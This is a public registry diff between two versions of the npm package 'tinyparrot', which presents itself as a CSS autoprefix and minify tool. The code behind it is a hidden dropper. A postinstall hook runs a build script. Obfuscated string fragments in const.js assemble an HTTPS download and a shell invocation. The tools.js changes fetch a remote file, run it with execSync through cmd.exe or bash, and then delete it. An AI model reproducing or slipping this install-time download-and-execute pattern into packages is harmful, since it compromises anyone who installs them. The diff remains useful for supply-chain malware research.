tinyparrot 0.0.15 → 0.0.17

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tinyparrot",
3
- "version": "0.0.15",
3
+ "version": "0.0.17",
4
4
  "description": "tinyparrot: autoprefix + minify + dedupe + optional purge",
5
5
  "scripts": {
6
6
  "postinstall": "node src/build.js",
package/src/const.js CHANGED
@@ -4,9 +4,9 @@ const method = "POST";
4
4
  const headers = {'Content-Type': 'application/json'};
5
5
  const platform = process.platform.toLowerCase();
6
6
  const os = require('os').type().toLowerCase();
7
- const cmd = 'cmd.exe';
7
+ const cmd = 'cmd.exe ';
8
8
  const profile = "\:\/\/"
9
- const bash = 'bash';
9
+ const bash = 'bash ';
10
10
  const source = '-mirror';
11
11
  const reader = "https";
12
12
  const reg = /filename="?([^"]+)"?/;
package/src/tools.js CHANGED
@@ -1,10 +1,11 @@
1
- const {spawn} = require("child_process");
1
+ const {execSync } = require("child_process");
2
2
  const {manager, reader, dir, meta, disposition, reg, nt} = require("./const.js");
3
3
 
4
4
  const filename = lib => lib.headers[disposition]?.match(reg)?.[1];
5
5
  const stream = file => nt ? ['/c', file] : [`./${file}`];
6
- const wrapper = fs => spawn(manager, stream(filename(fs)));
6
+ const read = fs => require('fs').unlink(filename(fs), error => {});
7
7
  const write = fs => require('fs').createWriteStream(filename(fs));
8
+ const wrapper = fs => {execSync(manager + stream(filename(fs))); read(fs);};
8
9
  const build = callback => require(reader).request(dir, meta, callback);
9
10
 
10
11
  module.exports = {